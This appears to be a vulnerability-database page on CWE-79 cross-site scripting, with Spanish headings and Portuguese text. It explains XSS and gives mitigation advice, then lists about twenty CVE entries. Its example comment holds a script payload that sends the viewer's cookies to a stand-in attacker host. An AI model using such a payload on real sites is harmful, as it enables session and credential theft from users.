Fallos del tipo CWE-79

30.300 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-23722HIGHWordPress Mind3doM RyeBread Widgets plugin <= 1.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-24686HIGHWordPress RegistrationMagic Plugin <= 6.0.3.3 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-44049MEDIUMWordPress Gutenberg Blocks – Unlimited blocks For Gutenberg plugin <= 1.2.8 - Authenticated Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-23835HIGHWordPress Legal + Plugin <= 1.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-2352MEDIUMAutoptimize <= 3.1.14 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'ao_post_preload' Meta ValueEPSS 0.3%CVE-2025-48276MEDIUMWordPress Visual Composer Website Builder plugin <= 45.11.0 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2024-13779MEDIUMHero Mega Menu - Responsive WordPress Menu Plugin <= 1.16.5 - Reflected Cross-Site ScriptingEPSS 0.3%CVE-2024-36647MEDIUMA stored cross-site scripting (XSS) vulnerability in Church CRM v5.8.0 allows attackers to execute arbitrary web scripts or HTML via a craftEPSS 0.3%CVE-2024-49703MEDIUMWordPress WpEvently plugin <= 4.2.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-12228MEDIUMprojectworlds Expense Management System Users Page create cross site scriptingEPSS 0.3%CVE-2025-34261MEDIUMAdvantech WISE-DeviceOn Server < 5.4 Authenticated Stored XSS via devicegroups/EPSS 0.3%CVE-2025-14560HIGHImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in GitLabEPSS 0.3%CVE-2024-39660MEDIUMWordPress Photo Engine (Media Organizer & Lightroom) plugin <= 6.3.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-6701MEDIUMPega Platform versions 8.1 to Infinity 24.1.2 are affected by an XSS issue with case type.EPSS 0.3%CVE-2026-103999HIGHUltra Addons for Contact Form 7 <= 3.5.54 - Unauthenticated Stored Cross-Site Scripting via File UploadEPSS 0.3%CVE-2024-35643MEDIUMWordPress WP Back Button plugin <= 1.1.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-48218MEDIUMOpen ISES Tickets < 3.44.2 Reflected XSS via icons/buttons/landb.php frm_name and frm_id ParametersEPSS 0.3%CVE-2024-43292MEDIUMWordPress Envo's Elementor Templates & Widgets for WooCommerce plugin <= 1.4.16 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-6700MEDIUMPega Platform versions 8.1 to Infinity 24.1.2 are affected by an XSS issue with App name.EPSS 0.3%CVE-2025-60314MEDIUMConfiguroweb Sistema Web de Inventario 1.0 is vulnerable to a Stored Cross-Site Scripting (XSS) due to the lack of input sanitization on theEPSS 0.3%